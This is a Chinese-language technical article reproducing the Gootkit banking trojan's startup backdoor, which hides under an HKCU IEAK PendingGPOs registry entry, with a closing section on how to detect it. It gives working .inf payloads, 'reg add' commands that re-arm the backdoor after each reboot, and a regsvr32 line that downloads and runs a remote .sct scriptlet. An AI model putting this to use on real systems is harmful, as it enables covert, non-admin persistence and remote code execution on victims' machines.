Gookit Banking Trojan中的後門利用分析
0x00 前言
Gootkit Banking Trojan在2014年被首次發現,最近Daniel Bunce(@ 0verfl0w_)介紹了一些對於Gootkit Banking Trojan的分析,文章地址如下:
https://www.sentinelone.com/blog/gootkit-banking-trojan-persistence-other-capabilities/
其中,Gootkit Banking Trojan使用的後門啟動方法是獨有的,所以本文僅在技術研究的角度復現Gootkit Banking Trojan使用的後門啟動方法,分析利用思路,給出防禦和檢測的建議。
0x01 簡介
本文將要介紹以下內容:
·原理介紹
·inf文件的基礎知識
·復現後門啟動方法
·分析利用方法
·檢測和防禦建議
0x02 原理介紹
explorer.exe在運行時會載入特定的組策略對象(GPO),其中包括Internet Explorer Administration Kit(IEAK)的GPO。
如果通過添加註冊表的方式為IKAK創建一個Pending GPO,指向一個inf文件,那麼在explorer.exe啟動時,就會載入這個Pending GPO,執行inf文件中的內容。
這個方法的優點是不需要管理員許可權。
0x03 inf文件的基礎知識
inf全稱Device INFormation File,是Microsoft為硬體設備製造商發布其驅動程序推出的一種文件格式。
對大小寫不敏感。
文件格式:
由多個節組成,節名用方括弧括起來。
值得注意的節:
1.Version節
inf文件都包含這個節,用來描述支持的設備類型和適用的操作系統。
signature="$CHICAGO$表示該inf文件適用於Windows98之後的所有操作系統。
signature="$Windows NT$"表示該inf文件適用於Windows 2000/XP/2003操作系統。
2.DefaultInstall節
默認情況下首先執行該節內的內容,通常包括文件拷貝、刪除,註冊表鍵值的更新,子鍵刪除等功能,還支持執行命令:
·RunPreSetupCommands,本節中指定的命令在安裝服務配置文件之前運行
·RunPostSetupCommands,本節中指定的命令在安裝程序完成服務配置文件後運行
·RunPreUnInstCommands,本節中指定的命令在卸載程序開始之前運行
·RunPostUnInstCommands,本節中指定的命令在卸載程序運行後運行
參考資料:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc939869(v=technet.10)#information-inf-file-entries
例如一個分別執行cmd命令和彈出計算器的test.inf文件示例:
[Version]
Signature="$CHICAGO$"
AdvancedINF=2.5,"advpack.dll"
[DefaultInstall]
RunPreSetupCommands=Command1
RunPostSetupCommands=Command2
[Command1]
C:\WINDOWS\SYSTEM32\calc.exe
[Command2]
C:\WINDOWS\SYSTEM32\cmd.exe
命令行下的啟動方式:
rundll32.exe advpack.dll,LaunchINFSection test.inf,DefaultInstall
執行後先彈出計算器,關閉計算器後,再彈出cmd.exe。
0x04 後門啟動方法復現
1.使用測試程序putty.exe,保存位置: c:\test\putty.exe
2.新建putty.inf,內容如下:
[Version]
Signature="$CHICAGO$"
AdvancedINF=2.5,"You need a new version of advpack.dll"
[DefaultInstall]
RunPreSetupCommands=Command1:2
[Command1]
c:\test\putty.exe
3.新建註冊表項
·HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Count, REG_DWORD,1
·HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Path1,REG_SZ,"c:\test\test.inf"
·HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs,Section1,REG_SZ,"DefaultInstall"
註:原文中Section1的值為[DefaultInstall],經測試,此處存在bug,正確的值應該為DefaultInstall。
註冊表設置如下圖:
4.重啟系統
系統啟動後執行putty.exe,復現成功。
註:系統重啟後該註冊表會被清除,為了保證下次重啟系統時再次觸發後門,需要再次修改註冊表,添加對應的鍵值,可供參考的cmd命令如下:
reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Count /t REG_DWORD /d 1
reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Path1 /t REG_SZ /d "c:\test\test.inf"
reg add hkcu\SOFTWARE\Microsoft\IEAK\GroupPolicy\PendingGPOs /v Section1 /t REG_SZ /d "DefaultInstall"
0x05 方法優化
1.inf文件不需要同要啟動的exe文件同名
inf文件名稱可以任意,例如test.inf
註:原文描述需要inf文件同exe文件同名。
2.inf文件內容格式不固定
3.inf文件的payload不唯一
還可以實現文件拷貝、刪除,註冊表鍵值的更新,子鍵刪除等功能。
如果是執行命令,可以同sct結合實現無文件落地,例如實現遠程下載執行的文件內容如下:
[Version]
Signature="$CHICAGO$"
AdvancedINF=2.5,"advpack.dll"
[DefaultInstall]
RunPreSetupCommands=Command1
[Command1]
regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll
0x06 利用分析
優點如下:1.不需要管理員許可權,只需要普通用戶許可權即可 2.payload擴展性高,同其他方法結合(如sct)可實現遠程下載執行,不需要向硬碟寫入文件。
0x07 檢測和防禦建議
監控註冊表位置:HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs
默認配置下,系統不存在註冊表項:HKEY_CURRENT_USER\Software\Microsoft\Ieak\GroupPolicy
註:修改註冊表HKEY_LOCAL_MACHINE\Software\Microsoft\Ieak\GroupPolicy\PendingGPOs不會觸發這個後門。
0x08 小結
本文復現了Gookit Banking Trojan中的後門啟動方法,分析利用思路,給出防禦和檢測的建議。
本文為嘶吼特約作者 3gstudent 原創文章。